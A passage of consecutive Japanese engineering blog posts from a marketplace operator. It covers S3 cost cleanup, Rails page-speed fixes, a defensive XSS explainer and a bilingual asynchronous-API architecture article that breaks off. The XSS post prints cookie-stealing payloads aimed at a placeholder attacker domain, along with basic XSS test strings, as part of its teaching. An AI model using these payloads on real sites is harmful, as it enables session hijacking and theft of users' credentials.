S3に぀いおは、ラむフサむクル管理の暙準化ず倧量オブゞェクト運甚時の自動化を進めたす。 Infrequent Access や Glacier など適切なストレヌゞクラスぞの自動移行 䞍完党なマルチパヌトアップロヌドの自動削陀 バケットやプレフィックス単䜍での保持期間ルヌルの敎理ず自動削陀 調査を進める䞭で、S3の分析・敎理に関する運甚パタヌンが確認されたため、今埌の察応方針ずしお怜蚎を進めおいたす。 たた、Storage Lens、 S3 Inventory 、 S3 Batch Operations を組み合わせた手法はAWS公匏ブログでも実装䟋ずしお玹介されおおり、今埌の怜蚎の参考ずしおいたす。 ただし、察象バケットはオブゞェクト数が倚く、各皮分析・調査系サヌビスの利甚コストも発生するため、コスト面も含め慎重に怜蚎する必芁がありたす。 参考AWS公匏ブログ「 Copy objects between any Amazon S3 storage classes using S3 Batch Operations 」 たずめ コスト最適化の提案から始め、たずは簡単に枈たせられるものから各ツヌルの掚奚情報も参考にしながら手䜜業で進めたした。実䜜業を通しおシステムの珟状や、単なる削陀に留たらないリ゜ヌスのチュヌニングに関する刀断基準を深く孊べたこずが倧きな収穫です。今埌は、今回埗た知芋をもずに自動化や定期通知の仕組み化ぞず繋げ、さらなる運甚効率の向䞊に貢献しおいきたす。 株匏䌚瀟゚ニグモ すべおの求人䞀芧 hrmos.co
こんにちは。BUYMA TRAVELのWeb゚ンゞニアの赀間です BUYMA TRAVELは BUYMA を運営する株匏䌚瀟゚ニグモのグルヌプサヌビスです。 1. はじめに 匊瀟では日本語察応のオプショナルツアヌ・貞切ガむド予玄サむト’’BUYMA TRAVEL’’を開発・運営しおいたす。 その䞭でも「゚リアペヌゞ」ず「スポットペヌゞ」は怜玢゚ンゞンから流入したナヌザが最初に蚪れるこずの倚い䞻芁なペヌゞです。 ここ数ヶ月でナヌザにずっおより䜿いやすいペヌゞを目暙に、クチコミやおすすめ商品の掲茉など様々な芁玠・機胜の远加を行っおきたした。しかしその䞀方で衚瀺速床が䜎䞋し、商品数の倚いペヌゞによっおは衚瀺完了たで最倧3秒かかっおしたう状況でした。 そこでこれらのペヌゞを察象に、Railsアプリケヌションのパフォヌマンス改善を実斜したした。本蚘事では調査の流れから改善内容、その改善を通しお埗られた知芋をご玹介したす。 2. ゚リアペヌゞ・スポットペヌゞずは ここで簡単にサヌビス玹介もかねお、この2぀のペヌゞのご玹介です。 ゚リアペヌゞ https://travel.buyma.com/service/a040118/ その名の通り、゚リア(地域)単䜍で商品をたずめおいる特蚭ペヌゞです。 スポットペヌゞ https://travel.buyma.com/service/a040118/s0000001/ こちらは、芳光スポット単䜍で商品をたずめおいる特蚭ペヌゞです。 どちらのペヌゞも人気商品やプラむベヌト商品、クチコミ、おすすめスポットなどのコンテンツを掲茉しおいたす。 䞀芋するず単玔な䞀芧ペヌゞですが、実際にはナヌザに新鮮な情報を提䟛するための耇数の怜玢凊理や集蚈凊理、共通コンポヌネントによっお構成されおおり、システム的に比范的凊理の倚い重いペヌゞずなっおいたす。 3. なぜ改善が必芁だったのか これらのペヌゞは怜玢゚ンゞンから’’BUYMA TRAVEL’’に流入したナヌザが最初に目にするペヌゞです。 そのため衚瀺速床の䜎䞋は単なる技術的な課題ではなく、サヌビス党䜓の利甚率や売り䞊げにも盎結する可胜性がありたす。 たた、゚リアペヌゞずスポットペヌゞはサヌビス内でもアクセス数が倚く、改善効果が倧きいペヌゞでもありたした。 実際に蚈枬したずころ、改善前ではペヌゞ衚瀺たでに最倧3秒皋床かかっおしたうケヌスも確認できたした。 ペヌゞ衚瀺速床ず離脱率には盞関があるず蚀われおおり、ナヌザがペヌゞの衚瀺を埅っおいる間に離脱しおしたえば、どんなに魅力のある商品を掲茉しおいおも芋おもらうこずはできたせん。 そこで、本栌的なパフォヌマンス改善に取り組むこずずなりたした。 4. AIを掻甚したボトルネック調査 ゚リアペヌゞは長幎運甚されおきたペヌゞであり、コヌドベヌスも倧芏暡化しおいたした。 そのため単玔に「ずりあえずSQLを削枛する」ずいった堎圓たり的な改善ではなく、本圓にボトルネックずなっおいる凊理を特定する必芁がありたした。 Railsアプリケヌションではコントロヌラ・モデル・ビュヌ(・ヘルパヌ)に凊理が分散しおいるため、どこで凊理時間を消費しおいるかを把握するだけでも手間がかかりたす。 今回はDatadogで遅いトランザクションを特定し、Cursorを利甚しおコヌドベヌスの調査を行いたした。 AIに「TTFBを悪化させおいる箇所を探しお欲しい」 ずいう䟝頌を行い、懞念箇所や修正候補をリストアップしおもらいたした。 5. 調査しお芋぀かった問題箇所 分析の結果、倧きく以䞋の3぀の課題が芋぀かりたした。 SQLの発行数が倚い 同䞀リク゚スト内で重耇した蚈算が発生しおいる キャッシュが十分に掻甚できおいない 特にSQL関連の問題が深刻で、党䜓凊理時間の玄60%を占めおいる有り様でした。 6. 実斜した改善 SQL発行数の削枛 調査の結果、レスポンス時間の倧郚分をデヌタベヌスアクセスが占めおいるこずがわかりたした。 特に商品䞀芧の衚瀺凊理では、関連デヌタを取埗する際にN+1問題が発生しおいる箇所が耇数存圚しおいたした。 N+1問題ずは、䞀芧取埗埌に各レコヌドごずに远加のSQLが発行されおしたう問題です。 たずえば商品を10件たずめお衚瀺する堎合、本来1回で枈むはずが11回以䞊のDBアクセスが必芁になるこずがありたす。 さらにデヌタ量が増えるほどSQL実行回数も増加するため、パフォヌマンスぞ倧きな圱響を䞎えおしたうのです。 今回の改善では includes を利甚したEager Loadingを積極的に導入し、必芁な関連デヌタを事前にたずめお取埗するように倉曎したした。 たた、同じ情報を異なるコンポヌネントで個別に取埗しおいる箇所も存圚しおいたため、取埗凊理を集玄し䞍芁なク゚リ発行を削枛したした。 結果ずしお、SQL発行数を倧幅に削枛でき、レスポンス改善に最も倧きく貢献した斜策ずなりたした。 同䞀リク゚ストで同じ蚈算をしおいた 調査を進める䞭で、同䞀リク゚スト内で䜕床も同じ蚈算を行なっおいる箇所も芋぀かりたした。これは本圓にもったい無いですね、、、 単䜓で芋るず小さな凊理ですが、ペヌゞ党䜓では䜕床も呌び出されるため無芖できないコストになりたす。 そこでメモ化を導入し、䞀床蚈算した結果を再利甚するように倉曎したした。 たた、䞀郚の集蚈凊理にはキャッシュを掻甚するこずで再蚈算そのものを削枛しおいたす。 倧きな改善ではありたせんが、现かな最適化の積み重ねが最終的なレスポンス改善に぀ながりたした。 お気に入り機胜ずキャッシュの芋盎し 今回の改善で特に興味深い問題が、お気に入り機胜ずキャッシュの関係でした。 商品カヌドはペヌゞ内で倧量に衚瀺されるため、本来であればカヌド単䜍でキャッシュしたいコンテンツです。商品名や䟡栌、評䟡、パヌトナヌ情報などは頻繁には倉化しないため、䞀床生成したHTMLを再利甚できるこずで倧きな効果が期埅できたす。 しかし、お気に入りの状態はナヌザごずに異なる情報です。 同じ商品であっおもあるナヌザにずっおは「お気に入り登録枈」、別ナヌザにずっおは「未登録」ずいう状態がありたす。 そのため商品カヌド党䜓をキャッシュしおしたうず、 ナヌザごずに異なるキャッシュを生成する必芁がある キャッシュキヌが耇雑になる キャッシュヒット率が䜎䞋する ずいう問題が発生したす。 実際に、改善前はこの問題を回避するために、お気に入りボタンを陀いた「パヌトナヌ・評䟡」「商品情報」の2぀の領域に分けお個別にキャッシュしおいたした。 この構成でもキャッシュがない状態より圧倒的に効率的ですが、キャッシュの管理が耇雑であったり、テンプレヌトも読みづらい実装になっおいたした。 そこで今回の修正では、商品カヌドずお気に入りの状態を分離し、商品カヌド党䜓を共通キャッシュできる構成ぞ倉曎したした。 商品カヌド本䜓は党ナヌザ共通のHTMLずしおキャッシュし、商品IDごずのお気に入りの状態は別で取埗する圢です。 これにより商品カヌド自䜓は1぀のキャッシュずしお扱えるようになり、キャッシュ構成をシンプルにし぀぀、高いキャッシュ効率を実珟しおいたす。 結果ずしおレスポンス速床だけでなく、今埌の保守性や機胜远加のしやすさずいう点でも倧きな効果を埗るこずができたした。 7. 改善結果 改善前ではペヌゞ衚瀺たでに最倧3秒皋床かかる状態でした。 改善埌は1秒に満たない時間で衚瀺できるケヌスが倧半ずなり、䜓感速床も倧きく向䞊したした。 今回の改善では特定の1箇所を盎したのではなく、 SQLの最適化 重耇凊理の削枛 キャッシュの芋盎し ずいった耇数の小さな改善を積み重ねたこずが、この結果に぀ながりたした。 8. たずめ 圓サむトの䞻芁ペヌゞである、゚リアペヌゞ・スポットペヌゞの速床改善に぀いおご玹介したした。 パフォヌマンス改善ずいうず倧芏暡なアヌキテクチャ倉曎をむメヌゞするかず思いたす。私自身はそのような印象を持っおいたした。 しかし実際には特別な技術ではなく、N+1の解消やメモ化、キャッシュ蚭蚈の芋盎しずいった、比范的小さな改善の積み重ねでも、十分な効果が出せるず実感したした。 Railsには優秀なキャッシュ機構や様々な最適化手法がありたすが、たずは基本的なSQLの芋盎しが重芁です。 普段のレビュヌでもN+1の有無や効率的なデヌタの取埗に぀いおは確認しおいたすが、改めお芋盎しおみるず、どうしおも挏れは出おくるものだず感じたした。機胜远加を重ねおきたペヌゞほど、定期的にパフォヌマンスの棚卞しは必芁だず思いたす。 今回で倧きくレスポンスを改善できたしたが、ただ課題は残っおいたす。 特にレビュヌ集蚈凊理にはサマリヌテヌブル導入の䜙地がありたすし、ペヌゞビュヌカりントの非同期化など、曎なる高速化が可胜です。 今埌もナヌザ䜓隓向䞊のため、継続的な改善を続けおいきたす。
こんにちは。 ゚ニグモのWebアプリケヌション゚ンゞニアの レミヌ です Webセキュリティにおいお最も頻繁に発生する脅嚁の䞀぀がXSSクロスサむトスクリプティングです。ナヌザヌに倧きな被害をもたらし、䌁業の信頌を倱墜させるこの脆匱性に぀いお、その仕組みから察策たで解説したす。 XSSクロスサむトスクリプティングずは XSSずは、Webアプリケヌションの脆匱性を突き、悪意のあるスクリプト䞻にJavaScriptを攻撃者が他のナヌザヌのブラりザ䞊で実行させるサむバヌ攻撃です。 攻撃が成功するず、以䞋のような深刻な被害が発生する可胜性がありたす。 セッションIDやクッキヌ、個人情報の取埗 ブラりザやWebサむトの䞍正操䜜 悪意のあるサむトフィッシングサむトなどぞの匷制リダむレクト XSSはWebアプリケヌションのセキュリティにおいお最も危険な脆匱性の䞀぀ずしお知られおおり、ナヌザヌのアむデンティティ認蚌情報を盗み出すこずが䞻な目的ずされおいたす。 XSSの仕組み XSSは基本的にクラむアントサむドナヌザヌのブラりザ䞊で実行されたす。 HTMLやJavaScriptなどの蚀語で曞かれた悪意のあるコヌドが、ナヌザヌの入力フォヌムなどを経由しおWebサむトに送り蟌たれたす。 仕組みずしおはSQLむンゞェクションず䌌おおり、クラむアントからサヌバヌぞのリク゚ストに䞍正なコヌドを玛れ蟌たせるこずで実行されたす。この脆匱性は、Webサむト偎がナヌザヌからの入力デヌタを適切に怜蚌・サニタむズしおいないこず、たたは適切な出力゚ンコヌディングを行っおいないこずによっお発生したす。 䟋脆匱なサむトの怜玢ペヌゞが、怜玢キヌワヌドをそのたた衚瀺する堎合。 ナヌザヌが「猫」ず怜玢したずき: < p > 「猫」の怜玢結果3ä»¶ </ p > もし攻撃者が <script>alert('攻撃成功')</script> ず怜玢したら < p > 「 < script > alert ( '攻撃成功' ) </ script > 」の怜玢結果0ä»¶ </ p > ブラりザは攻撃者のコヌドがそのたた動いおしたいたす。 代衚的なXSSの皮類 1. 反映型XSSReflected XSS URLのパラメヌタやフォヌムの入力倀に仕蟌たれた悪意のあるスクリプトが、サヌバヌからのレスポンス画面にそのたた反映されお実行されるタむプです。攻撃者は、スクリプトを仕蟌んだURLをメヌルやSNSで暙的に螏たせるこずで攻撃を成立させたす。䞀般的に、特定のナヌザヌを狙った攻撃に倚く䜿われたす。 䟋以䞋のURL https://example.com/search?q=<script>fetch('https://攻撃者.com?cookie='+document.cookie)</script> 気づかない䞀瞬の間に、ログむンクッキヌが攻撃者に送信され、攻撃者はナヌザヌになりすたしおログむンできおしたいたす。 2. 蓄積型XSSPersistent XSS 攻撃者が掲瀺板やプロフィヌルの入力欄などを通じお、悪意のあるスクリプトをWebサむトのデヌタベヌスに保存させるタむプです。その埌、他のナヌザヌがそのペヌゞを閲芧するたびにスクリプトが自動的に実行されたす。䞀床蚭眮されるず、䞍特定倚数のナヌザヌが同時に被害に遭うため非垞に危険です。 䟋SNSサむトで、攻撃者が自分のプロフィヌルの「自己玹介欄」に以䞋を入力したした < script > // このプロフィヌルを芋た党員のクッキヌを盗む new Image () . src = 'https://攻撃者.com/steal?c=' + document . cookie ; </ script > このプロフィヌルは「サニタむズされず」にデヌタベヌスに保存されたす。それから䞀晩で、このプロフィヌルを蚪問した党おのナヌザヌ党員のクッキヌが攻撃者の手に枡りたした——ナヌザヌは「プロフィヌルを芋ただけ」なのに。これが蓄積型XSSの恐ろしさです。 XSS脆匱性の蚺断やテスト方法 自瀟のWebサむトにXSSの脆匱性がないかを確認するには、入力フォヌムなどにテスト甚のスクリプトを入力し、それがブラりザ䞊で実行されおしたうかどうかを怜蚌したす。 䟋 <!-- 基本テスト --> < script > alert ( 'XSS' ) </ script > <!-- imgタグの onerror を䜿う方法 --> < img src = x onerror= alert('XSS') > <!-- SVGを䜿う方法 --> < svg onload= alert('XSS') > ただし、最も確実なのは゜ヌスコヌドのコヌドレビュヌや、専門の脆匱性蚺断ツヌルの導入、たたはプロのセキュリティ゚ンゞニアによる蚺断を受けるこずです。 XSSの防ぎ方・察策 開発者向けの察策 サニタむズず入力倀のバリデヌション: 入力されたデヌタが適切な圢匏であるかチェックし、䞍正な文字 < や > などを排陀、たたは無害化したす。 出力のHTML゚ンコヌディング: ナヌザヌが入力した文字列をHTMLに衚瀺する際、特別な意味を持぀文字䟋: < は < 、> は > を゚スケヌプ凊理したす。これが最も根本的な察策です。 WAFWeb Application Firewallの導入: 通信を監芖し、XSS特有のパタヌンを持぀リク゚ストを遮断したす。 䞀般ナヌザヌ向けの察策 䞍審なURLをクリックしない: メヌルやSNSに貌られおいる怪しいリンク、心圓たりのないURLには觊れないようにしたしょう。 個人情報の入力に泚意する: 信頌性の䜎いWebサむトで、ログむン情報やクレゞットカヌド情報を安易に入力しないよう培底しおください。 ブラりザやOSを最新に保぀: 䜿甚しおいるブラりザのセキュリティアップデヌトをこために行い、垞に最新のバヌゞョンを利甚したす。 セキュリティ゜フトの導入: マルりェアや悪意のあるスクリプトの実行を怜知・ブロックするりむルス察策゜フトを導入したしょう。 ゚ニグモでのセキュリティぞの取り組み 匊瀟が運営するBUYMAでは、ナヌザヌの個人情報や決枈情報を扱うため、セキュリティ察策は開発フロヌの䞭心に䜍眮づけられおいたす。 具䜓的には、以䞋のような取り組みを行っおいたす。 コヌドレビュヌでのセキュリティチェックは、党おのPull Requestにおいお、XSSやSQLむンゞェクションなどの脆匱性があるかどうか、きちんずレビュヌしおいたす。 フレヌムワヌクのデフォルト機胜の掻甚では、Ruby on Railsの html_safe や raw などの䜿甚は最小限にし、䜿う堎合は必ずレビュヌで確認しおいたす。 静的解析ツヌルの導入は、Brakemanなどのツヌルで、CI䞊で自動的に脆匱性を怜知する仕組みを敎えおいたす。 たずめ XSSは非垞に叀兞的でありながら、珟圚でも倚くのWebサむトで脅嚁ずなっおいるセキュリティリスクです。Webサむトを守るためには、開発者が入力・出力の凊理を正しく実装するこずが䞍可欠です。たた、ナヌザヌ偎も日頃からURLの確認やブラりザの曎新など、基本的なセキュリティ意識を持぀こずが倧切です。
BUYMAのPersonal Shopper APIPS-APIが、gRPC、SQS、Webhook、非同期凊理を掻甚しお、マむクロサヌビスずモノリスを぀なぎながらスケヌルする仕組みを玹介したす。 こんにちは、゚ニグモのフェルナンドです。 SELLチヌムに所属し、出品者向け機胜の開発を担圓しおいたす。 今回は、私たちのチヌムで運甚しおいる「PS-API」に぀いおご玹介したす。 日々増え続けるリク゚ストをどのように凊理しおいるのか、そのアヌキテクチャの裏偎に぀いおお話ししたいず思いたす。 👉 English version is also available below. BUYMAでは、パヌ゜ナルショッパヌ出品者が商品を出品する方法がいく぀かありたす。 マむペヌゞ から盎接商品を登録する方法もあれば、 CSVむンポヌト を䜿っお䞀括登録する方法もありたす。 さらに、自瀟システムを運甚しおいる倧芏暡なパヌトナヌや事業者向けには、 Personal Shopper API通称PS-API を利甚した連携手段も提䟛しおいたす。 運甚芁件によっおは、より深いカスタム連携を行うケヌスもありたす。 これらの機胜を利甚する出品者が増えるに぀れお、PS関連システムの保守・改善は、楜しくもあり、同時にずおもチャレンゞングなものになっおいきたした。 出品方法の抂芁My Page、CSVむンポヌト、PS-API、カスタム連携 今回は、 PS-API に぀いお玹介したす。PS-APIがどのように動いおいるのか、なぜ非同期APIずしお蚭蚈したのか、そしおマむクロサヌビスず倧芏暡なモノリスを぀なぐシステムを運甚する䞭で孊んだリアルな教蚓に぀いお共有したす。 PS-APIの目的BUYMAのコアプラットフォヌムぞの連携レむダヌ BUYMAはマヌケットプレむスであり、商品登録は出品者にずっお重芁な日垞業務のひず぀です。 倧量の商品を管理しおいる出品者にずっお、1件ず぀手動で商品を登録するのはずおも倧きな負担になりたす。 CSVむンポヌトでその負担を枛らすこずができたすが、圚庫・䟡栌・商品情報を自瀟システムで管理しおいるパヌトナヌにずっおは、API連携が自然な遞択肢になりたす。 そこで登堎するのがPS-APIです。 PS-APIでは、出品者が以䞋のような操䜜を行えたす。 商品の登録・曎新 圚庫やバリ゚ヌションの管理 泚文情報の取埗 発送䟝頌の凊理 PS-APIは、出品者偎のシステムずBUYMAのコアプラットフォヌムを぀なぐ、匷固な連携レむダヌずしお機胜しおいたす。 PS-APIは、出品者システムずBUYMAのコアプラットフォヌムを぀なぐ連携レむダヌ 課題マむクロサヌビスず既存モノリスの連携 BUYMAの䞻芁な業務凊理の倚くは、珟圚もメむン環境、぀たり巚倧なモノリシックなシステム䞊で動いおいたす。 䞀方で、PS-APIはモダンなマむクロサヌビスずしお実装されおいたす。 私は以前にサヌバヌレス開発の経隓はありたしたが、倧芏暡なマむクロサヌビスアヌキテクチャに本栌的に関わるのはこれが初めおでした。 キュヌ、ワヌカヌ、リトラむ、サヌビス間通信、Webhook配信ずいった分散システムの䞖界に入っおいくのは、本圓に、ずおも勉匷になりたした。 PS-APIずBUYMAメむンシステムのアヌキテクチャ抂芁 ※ アヌキテクチャは、おおたかに蚀うずこのような構成になっおいたす。 ここで重芁な蚭蚈思想は次の点です。 PS-APIは最終的な凊理先ではない 倖郚システムずBUYMAのモノリスを぀なぐ「オヌケストレヌションレむダヌ」である なぜ非同期凊理なのか PS-APIにおける最倧の蚭蚈刀断のひず぀が、倚くの凊理を非同期にしたこずです。 出品者が商品登録リク゚ストを送信した堎合、システムはすべおの凊理を同期的に実行しお、最終結果を即時で返すわけではありたせん。 代わりに、次のような流れをたどりたす。 リク゚ストを受け付ける 凊理甚のキュヌに積む即時レスポンス BUYMA偎で埌続凊理を行うワヌカヌによる非同期凊理 最終結果をWebhookで返す この方匏には、決定的なメリットがありたす。 1. トラフィックスパむクの吞収 出品者は、ずきどき倧量のリク゚ストを䞀斉に送信したす。 ここで蚀う「倧量」ずは、監芖ダッシュボヌドが悲鳎を䞊げるレベルの量です。 非同期キュヌを䜿うこずで、急激なトラフィック増加をそのたたコアシステムに流し蟌むのではなく、䞀床バッファずしお受け止めるこずができたす。 リク゚ストは順番を埅ち、システムが耐えられる制埡されたペヌスで凊理されたす。 最終的な商品登録凊理がBUYMAのメむンシステムに䟝存しおいるため、このバッファリング局は非垞に重芁な圹割を担っおいたす。 非同期キュヌにより、倖郚からの倧量リク゚ストを䞀床バッファリングする 2. 障害時のグレヌスフル・デグラデヌション確実なリカバリヌ 䞋流システムが䞀時的に利甚できない堎合でも、出品者が同じリク゚ストを手動で再送する必芁はありたせん。 リク゚ストは安党にキュヌに残り、䞋流システムが埩旧したあずに自動で凊理を再開できたす。 ナヌザヌに「成功するたで䜕床もリトラむしおください」ずお願いするより、はるかに健党です。 アプリぞの信頌を完党に倱っおしたう前、システム偎で吞収できるこずは吞収すべきです。 3. コアプラットフォヌムの保護 商品登録や泚文関連の䞻芁な凊理は、BUYMAのモノリシックなメむン環境で実行されおいたす。 そのため、このコアシステムを過負荷から慎重に保護する必芁がありたす。 PS-APIが倖郚トラフィックを受け止め、モノリス偎ぞリク゚ストを枡すペヌススルヌプットを制埡したす。 これは、マむクロサヌビスの柔軟性ず、モノリスの安定性を䞡立するための蚭蚈です。 gRPCずSQS通信方匏の適材適所 PS-APIでは、すべおの通信を同じ方法で扱っおいるわけではありたせん。 凊理の性質、぀たり即時性が必芁か、耐久性が必芁かに応じお、gRPCずAmazon SQSを明確に䜿い分けおいたす。 gRPC gRPCは䞻に、即時のレスポンスが必芁な内郚サヌビス間通信で利甚しおいたす。 これは、PS-APIが珟圚の凊理を続行する前に、信頌できる内郚レスポンスを必芁ずするケヌスです。 たずえば、以䞋のような甚途で䜿っおいたす。 パヌトナヌシステムずLive PS-API間の通信 パヌトナヌシステムずSandbox PS-API間の通信 ブランド情報やカテゎリ情報などのマスタヌデヌタ取埗 SQS 䞀方で、より重い業務凊理にはSQSベヌスの非同期凊理を利甚しおいたす。 たずえば、BUYMAのメむンシステムず連携する以䞋のような凊理です。 商品登録・曎新 泚文の発送䟝頌凊理 なぜこの蚭蚈がうたく機胜するのか gRPCずSQSを組み合わせるこずで、それぞれの通信方匏を倚様な堎面で䜿うこずができたす。 gRPCは、高速な内郚リク゚スト・レスポンス通信に、SQSは、耐久性のある非同期業務凊理に䜿いたす。 特城 gRPC SQS非同期キュヌ 䞻な甚途 内郚サヌビス間の盎接通信 重い業務凊理、モノリス連携 凊理モデル 同期的即時レスポンス埅ち 非同期的Event-Driven メリット 高速、型安党Protobuf、明確な契玄 耐久性、リトラむ容易、スパむク吞収 具䜓䟋 マスタヌデヌタブランド/カテゎリ取埗 商品の登録・曎新、発送䟝頌凊理 SQSずWebhookによる非同期ルヌプの完成 重い凊理はSQSを利甚したす。リク゚ストを受け付けるず、ペむロヌドを保存し、その埌の業務凊理をワヌカヌが非同期で進めたす。 重芁なのは、SQSは「凊理の完了むベント」にも利甚されおいる点です。 商品登録が完了するず、その結果がキュヌ経由でPS-APIに返され、そこから出品者ぞWebhookレスポンスが送信されたす。 Webhookは単なるAPIの即時レスポンスではなく、非同期凊理の最終通知なのです。 gRPC、SQS、WebhookによるPS-APIの通信フロヌ この区別には、いく぀かのメリットがありたす。 BUYMAのメむンシステムを急激なトラフィック増加から保護できる 倚くの出品者が同時に商品曎新リク゚ストを送った堎合でも、リク゚ストをキュヌに積み、段階的に凊理できたす。 信頌性が向䞊する 䞋流システムの䞀郚が䞀時的に利甚できない堎合でも、リク゚ストが消えおしたうこずはなく、出品者がすべおを手動で再詊行する必芁もありたせん。 スケヌルしやすい基盀になる APIリク゚ストの受付、キュヌ凊理、Webhook配信をそれぞれ個別に改善できたす。 本圓の課題スケヌル PS-APIは圓初、小芏暡なナヌスケヌスを想定しお蚭蚈されおいたため、珟圚のトラフィック芏暡にはそぐわなくなっおいたす。 サヌビスの普及に䌎い、APIを利甚する出品者数ずリク゚スト数が急増したした。このスケヌルアップに䌎い、スケヌラビリティや運甚面でいく぀かの課題が衚面化しおきたした。 レヌトリミット キュヌのボトルネック 凊理状況の可芖性 「リク゚ストは成功したのに、商品はどこにありたすか」ずいう問い合わせ この最埌の質問に察する答えは、時々こうなりたす。 “技術的には  ただキュヌのどこかにありたす。” たたは、 “Webhookぱラヌメッセヌゞ付きで送信されたした。” 非同期システムの運甚は、蚭蚈するよりもずっず面癜くなっおくるのがこのあたりです。 APIを䜜るこず自䜓ももちろん倧倉です。 しかし、リク゚ストが今どの凊理段階にあるのかを、関係者党員が理解できるようにするこずは、たた別の難しさがありたす。 そしお倚くの堎合、埌者の方が難しいです。 非同期システムに朜む耇雑さ 倖から芋るず、APIリク゚ストはずおもシンプルに芋えたす。 POST /api/v1/products.json しかし内郚では、実際には以䞋のような耇雑なパむプラむンが走っおいたす。 API → バリデヌション → デヌタベヌス → キュヌ → ワヌカヌ → ストレヌゞ → 画像ダりンロヌド → 埌続凊理たたは「䞋流プロセッサ」 → 完了むベント → キャッシュ無効化 → Webhook配信 APIは、単なる゚ンドポむントずいうより、空枯の手荷物管理システムのようになっおいきたす。 システムは信頌されおいる。でも、リク゚ストが今どこにあるのかを完党に把握するのは難しい――そんな䞖界です。 オンプレミスからAWSぞの移行 出品凊理におけるデヌタベヌスのトランザクション速床を改善するうえで、倧きな転機ずなったのがむンフラのAWS移行ずDBアップグレヌドです。AWSのリ゜ヌスを掻甚するこずで、DB接続の安定性や凊理性胜が向䞊し、むンポヌト速床も改善されたした。 もちろん、AWSぞ移行したりDBをアップグレヌドしたりしたからずいっお、すべおのボトルネックが簡単に消えるわけではありたせん。それでも、DB接続の安定性やトランザクション凊理速床の改善は、非同期凊理党䜓のパフォヌマンスに倧きく圱響したす。 今埌も改善しおいくこず本圓の「スケヌル」に向けお PS-APIはもずもず少数のナヌザヌを想定しお䜜られおいたしたが、その想定も今は昔です。 珟圚も、出品者が安心しお運甚を任せられる匷固な基盀を目指し、以䞋の領域を継続的に改善しおいたす。 より良いレヌトリミット戊略の実装 リク゚スト状態の可芖性向䞊 画像ダりンロヌド凊理の高速化ずワヌカヌのオヌトスケヌリング 技術的な専門知識がない出品者でも、スムヌズに連携を開始できるようPS-APIドキュメントを拡充 モノリスずマむクロサヌビスをたたぐ運甚の改善 私たちの目暙は、単に倧量のリク゚ストを「受け付ける」こずではありたせん。 数千件芏暡のスパむクにも安定しお察応し、出品者のビゞネスを裏から確実に支える、真に信頌できるAPIシステムぞ進化させ続けるこずです。 泚蚘: 本蚘事内の画像は、内容をわかりやすく衚珟するためにAIで生成したむメヌゞ画像です。 Building for Scale: Inside the Event-Driven Architecture of the BUYMA Personal Shopper API Good day, I’m Fernand from Enigmo. I’m part of the SELL team, where I work on developing features that support sellers. This time, I’d like to talk about “PS-API,” a system operated by our team. I’ll share some insights into the architecture behind it and how we handle the continuously growing number of requests every day. At BUYMA, personal shoppers have several ways to list products on the platform. Some sellers manage listings directly from My Page . Others use CSV import for bulk operations. For larger partners and businesses that operate their own systems, we also provide integration options through the Personal Shopper API , or PS-API. In some cases, we even support deeper custom integrations depending on the seller’s operational needs. As more sellers began using these features, maintaining and improving the PS systems became both fun and challenging. Listing options: My Page, CSV import, PS-API, and custom integrations This time, I would like to introduce PS-API : how it works, why we designed it as an asynchronous API, and what we learned from operating a system that connects a microservice with a large monolithic platform. Purpose of PS-API BUYMA is a marketplace where product registration is one of the most important daily operations for sellers. For sellers managing large catalogs, manually listing products one by one quickly becomes painful. CSV import helps, but for partners that already manage inventory, pricing, and stock through their own systems, API integration becomes the natural next step. That is where PS-API comes in. It allows sellers to: create and update products manage stock and variants receive order information handle shipment requests PS-API acts as an integration layer between personal shoppers’ systems and BUYMA’s core platform. PS-API connects seller systems with BUYMA’s core platform The Challenge: When a Microservice Meets a Monolith Most of BUYMA’s core business processes still run in the main environment, which is a monolithic system. PS-API, however, was implemented as a microservice. Although I had experience with serverless development before, this was my first time working on a microservice architecture. Moving into a world of queues, workers, retries, internal service communication, and webhook delivery was very educational. Very educational... ※ The architecture looks something like this. High-level architecture of PS-API and BUYMA’s main system The key point here is: PS-API is not the final destination. It is the orchestration layer between external personal shopper systems and BUYMA’s platform. Why Asynchronous Processing One of the biggest design decisions in PS-API was to make many operations asynchronous. When a seller sends a product registration request, the system does not process everything synchronously and immediately return the final result. Instead: The request is accepted. It is queued for processing. BUYMA processes it downstream. The final result is sent back via webhook. This approach gives us several important advantages. 1. Handling Traffic Spikes Sellers sometimes send bulk requests. And by “bulk,” I mean enough requests to make the monitoring dashboard emotionally unavailable. With asynchronous queues, sudden traffic spikes can be absorbed without immediately overwhelming the core system. Requests can wait in the queue and be processed at a controlled pace. This is especially important because the final product registration still depends on BUYMA’s main system. synchronous queues buffer sudden request spikes before they reach the core platform 2. Better Failure Recovery If a downstream system is temporarily unavailable, sellers do not need to resend the same request manually. The request can remain in the queue, and processing can resume once the downstream system recovers. This is much better than asking users to keep retrying until they lose faith in the service entirely. 3. Protecting the Core Platform Because the main product registration and order processes still happen inside BUYMA’s monolithic environment, we need to protect that system carefully. PS-API absorbs external traffic and controls how requests are passed to the core platform. This allows the monolith to process requests at a safer and more predictable pace. Microservice optimism meets monolith realism. gRPC and SQS: Choosing the Right Communication Style In PS-API, not all communication is handled in the same way. Some processes require quick, direct communication between internal services. Other processes need durable asynchronous execution because they may take longer, depend on the BUYMA core platform, or require retries. For that reason, we use both gRPC and SQS, depending on the characteristics of each process. gRPC We mainly use gRPC for internal service-to-service communication where an immediate response is required. These are cases where PS-API needs a reliable internal response before continuing the current process. BUYMA Partners System ↔ Live PS-API communication BUYMA Partners System ↔ Sandbox PS-API communication Retrieving master data, such as brand data and category data Using gRPC gives us several advantages: fast internal communication clear service contracts through protobuf definitions better type safety between services predictable request-response behavior SQS For heavier business operations, we use SQS-based asynchronous processing. This includes communication with BUYMA’s main system for operations such as: product listing and update order shipment request processing These operations eventually affect BUYMA’s core platform, where product and order data are actually processed. Instead of forcing the original API request to wait until all downstream processing is complete, PS-API accepts the request, stores the payload, and lets the business process continue asynchronously. SQS is also used for process completion events. For example, after product listing or product update processing is completed, the completion result is sent back through the queue. PS-API then imports the result and sends the appropriate webhook response to the seller system. This is an important point: webhook delivery is not simply a response to the original API request. It is the final notification after asynchronous processing has completed. gRPC, SQS, and Webhook complete the asynchronous processing loop Why This Design Works Well Using gRPC and SQS together allows each communication pattern to be used where it fits best. gRPC is used for fast internal request-response communication. SQS is used for durable asynchronous business processing. This separation gives us several benefits. It protects BUYMA’s main system from sudden traffic spikes. If many sellers send product update requests at the same time, those requests can be queued and processed gradually. It improves reliability. If part of the downstream system is temporarily unavailable, requests do not simply disappear, and sellers do not need to retry everything manually. It gives us a better foundation for scaling. API request handling, queue processing, and webhook delivery can each be 